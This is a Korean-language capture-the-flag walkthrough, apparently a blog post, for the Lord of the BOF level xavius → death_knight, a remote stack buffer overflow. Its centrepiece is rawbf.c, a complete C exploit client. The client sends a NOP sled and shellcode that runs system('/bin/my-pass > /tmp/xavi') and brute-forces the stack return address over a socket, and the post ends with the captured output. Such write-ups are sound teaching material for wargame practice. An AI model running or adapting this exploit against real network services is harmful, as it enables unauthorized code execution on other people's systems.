LOB xavius → death\_knight - remote BOF, rawbf
xavius - throw me away
remote BOF다. 소켓프로그래밍은 오랜만인데, 그래도 코드가 복잡하지는 않다. 서버 프로그램은 서버에서 돌아가는 거니까, 호스트에서 환경변수 등을 사용할 수는 없지만, 256바이트나 사용할 수 있으니까 그냥 버퍼에 집어넣는게 좋겠다.
parent는 while로 계속 돌아가고, child가 recv수행하고 나서 return하므로 child를 사용해 익스플로잇 하게 된다. 근데 recv 직후 close(client_fd) 해서 클라이언트와의 연결이 끊어진다. 따라서 client에 데이터를 전송할 수 없다. 리버스 쉘을 사용하거나, 출력 내용을 저장하도록 해야한다. 리버스 쉘 연결을 대기하도록 쉘코드를 짜기는 귀찮아서 그냥 후자로 진행했다.
주의 ) 쉘코드가 실행되면서 my-pass가 실행되면, 문자열이 출력되는데 이 때 client 쉘의 표준 출력으로 출력되는게 아니라, 서버 프로그램이 돌아가는 쉘의 표준 출력으로 출력된다. 따라서 my-pass 출력 데이터를 얻기 위해서는 다른 방법이 필요하다. 서버의 파일시스템에 접근이 가능하니까, 다음과 같은 방법을 사용했다. system("/bin/my-pass > /tmp/xav");
쉘코드를 서버 프로그램에 넘기는 방법은 다양하다.
- 직접 클라이언트 프로그램 코딩
- server에 연결한 다음 쉘코드를 보내는 쉘스크립트
- 파이프 3번이 제일 간단하니까 3번을 사용하려고 했는데 netcat이 없다. 다른 os에서 netcat을 사용해도 되겠지만 귀찮아서 telnet을 사용하기로 했다. perl -e ‘print “…”’ | telnet …
dumpcode로 확인해보니 data | telnet 으로 넘기면 데이터가 안넘어간다. (echo “a”; sleep 1; ) | telnet 과 같이 sleep 1;을 넣어줘야 넘어간다. 왜인지는 모르겠다.
또한 telnet을 사용해보니 다음과 같은 문제가 발생한다.
2017/06/27 - [Network] - Telnet : raw socket과의 차이
버퍼를 사용하려면 버퍼의 주소인 0xbfff…를 입력해야 하는데, ff가 ff ff가 돼서 버퍼 주소를 입력할 수 없다.
그래서 그냥 raw socket 클라이언트 프로그램을 만들었다. 서버 프로그램의 스택을 가늠할 수 없기 때문에 정확한 버퍼위치를 알 수는 없다. 따라서 만들면서 brute forcing 기능도 넣었다. 사실 server에 데이터를 넘기는 부분은 다른 OS에서 netcat이나 socat으로 처리해도 되기는 하지만 fork - exec 넣자니 맘에 안들어서 그냥 소켓 프로그래밍으로 처리했다.
rawbf.c :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define JUNK 44
#define NOPSIZE 32
int main(int argc, char \*argv[]){
char buf[256]={0};
unsigned char addr[5];
char \*code="\x31\xc0\x50"
"\x68\x78\x61\x76\x69"
"\x68\x74\x6d\x70\x2f"
"\x68\x20\x3e\x20\x2f"
"\x68\x70\x61\x73\x73"
"\x68\x2f\x6d\x79\x2d"
"\x68\x2f\x62\x69\x6e"
"\x54\x54"
"\xb8\xe0\x8a\x05\x40" //func addr
"\xff\xe0"; //jmp
unsigned short port;
int sock;
int recvlen=0;
struct sockaddr\_in sin;
if(argc != 3){
puts("Usage : rawbf ip port");
exit(1);
}
port = (unsigned short)atoi(argv[2]);
memset((char \*)&sin, 0, sizeof(sin));
sin.sin\_family = AF\_INET;
sin.sin\_port = htons(port);
sin.sin\_addr.s\_addr = inet\_addr(argv[1]);
memset(buf, 'b', JUNK);
addr[0] = '\xff';
addr[1] = '\xff';
addr[2] = '\xff';
addr[3] = '\xbf';
addr[4] = 0;
strncat(buf, addr, 4);
memset(buf+JUNK+4, '\x90', NOPSIZE);
strncat(buf, code, strlen(code));
while((addr[1] != '\x00')){
if((sock = socket(AF\_INET, SOCK\_STREAM, 0)) == -1) {
perror("socket");
exit(1);
}
if(connect(sock, (struct sockaddr \*)&sin, sizeof(sin))){
perror("connect");
exit(1);
}
if( send(sock, buf, strlen(buf)+1, 0) == -1 ){
perror("send");
exit(1);
}
if( addr[0] < NOPSIZE ){
addr[1]--;
addr[0]='\xff';
}
else
addr[0]-= NOPSIZE;
strncpy(buf+JUNK, addr, 4);
close(sock);
}
return 0;
}
이상한점이, 0x90을 32개 출력하면 되는데 64개 이상 출력하면 안된다. 아마 쉘코드를 실행하면서 esp가 push하는 지점까지 내려가서 쉘코드가 훼손되어 실행이 안되는 것 같다. NOP를 쓸 수록 쉘코드가 아래쪽에 위치하게 되니까.
1
2
3
[xavius@localhost xavius]$ cat /tmp/xavi
euid = 520
got the life